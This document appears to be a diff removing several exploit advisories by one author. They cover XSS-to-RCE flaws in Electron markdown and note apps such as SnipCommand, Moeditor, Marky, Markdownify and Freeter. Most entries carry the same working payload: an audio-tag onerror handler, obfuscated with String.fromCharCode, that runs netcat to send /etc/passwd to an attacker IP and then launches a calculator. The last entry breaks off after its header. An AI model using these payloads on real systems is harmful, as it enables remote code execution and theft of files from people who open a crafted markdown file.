# Vendor Homepage: https://github.com/gurayyarar/SnipCommand
|
|
||||||
# Version: 0.1.0
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
Open source command snippets manager for organize and copy fast.
|
|
||||||
It helps you create, organize and store your commands (Excel formulas, Sql Queries, Terminal commands, etc.) with dynamic parameters for quick copy to it. Describe your commands with dynamic parameters also support documentation about your snippets. You can select or specify your dynamic values using with selectbox/inputbox for ready to paste the workspace. You can organize with tags.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads in the form of files or as titles in their dynamic values, once the malicious code is entered, the payload will be executed immediately.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
#Proof video
|
|
||||||
https://imgur.com/a/I2reH1M
|
|
||||||
|
|
||||||
|
|
||||||
# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>
|
|
||||||
|
|
@ -1,28 +0,0 @@
|
||||||
# Exploit Title: Moeditor 0.2.0 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://moeditor.js.org/
|
|
||||||
# Version: 0.2.0
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
Software to view and edit sales documentation
|
|
||||||
Moeditor shows the md files in its editor allows to carry out projects easily, you can open your own files or share with other users
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof video
|
|
||||||
https://imgur.com/a/UdP4JaX
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload : exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)
|
|
||||||
|
|
@ -1,28 +0,0 @@
|
||||||
# Exploit Title: Marky 0.0.1 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://github.com/vesparny/marky
|
|
||||||
# Version: 0.0.1
|
|
||||||
# Tested on: Linux, MacOs, Windows
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
Marky is an editor for markdown with a friendly interface that allows you to view, edit and load files (.md). Marky is still under development. You can download the latest version from the releases page.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof Video
|
|
||||||
https://imgur.com/a/qclfrUx
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload : exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)
|
|
||||||
|
|
@ -1,27 +0,0 @@
|
||||||
# Exploit Title: StudyMD 0.3.2 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://github.com/jotron/StudyMD
|
|
||||||
# Version: 0.3.2
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
A cool app to study with markdown. Turns your Markdown-Summaries to Flashcard.
|
|
||||||
Allows user to create flash cards based on markdown files (.md) for easy viewing of their structure.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within your flash card manager, as well as upload files (.md) once the malicious code is entered, the payload will be executed immediately. The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof Video
|
|
||||||
https://imgur.com/a/lDHKEIp
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload: exec(AttackerReverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)
|
|
||||||
|
|
@ -1,27 +0,0 @@
|
||||||
# Exploit Title: Freeter 1.2.1 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://freeter.io/
|
|
||||||
# Version: 1.2.1
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
It is an organizer for design, it allows you to work on as many projects as you want. with project drop-down menu facilities to switch between them easily.
|
|
||||||
integrates widgets to set up a dashboard, giving you quick access to everything you need to work on a project.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads in the form of files or as custom widget titles, once the malicious code is entered, the payload will be executed when the victim moves the mouse or clicks.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof Video
|
|
||||||
https://imgur.com/a/iBuKWm4
|
|
||||||
|
|
||||||
|
|
||||||
# Payload 2: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>
|
|
||||||
|
|
@ -1,26 +0,0 @@
|
||||||
# Exploit Title: Markright 1.0 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://github.com/dvcrn/markright
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: Linux, MacOs,Windows
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
A minimalist discount editor with github flavor, it allows to view, edit and load files with markdown extension (.md) quickly and with a friendly interface.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof video
|
|
||||||
https://imgur.com/a/VOsgKbZ
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)
|
|
||||||
|
|
@ -1,25 +0,0 @@
|
||||||
# Exploit Title: Markdownify 1.2.0 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://github.com/amitmerchant1990/electron-markdownify
|
|
||||||
# Version: 1.2.0
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
It is a lightweight editor for viewing and editing the markdown documentation of aYou can browse your personal folder to view and edit your files, change view / edit mode in md file with subject at the top.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately. The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof
|
|
||||||
https://imgur.com/a/T4jBoiS
|
|
||||||
|
|
||||||
|
|
||||||
# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)
|
|
||||||
|
|
@ -1,33 +0,0 @@
|
||||||
# Exploit Title: Anote 1.0 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://github.com/AnotherNote/anote
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
A simple opensource note app support markdown only, anote allows you to view and edit files markdown has a friendly interface for paste image paste html (includes retrieve image locally) export sale file with images
|
|
||||||
export PDF support tray menu quick note (evernote inspired)
|
|
||||||
cmd + v default will convert html.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof Video
|
|
||||||
https://imgur.com/a/mFMDOuu
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload : exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
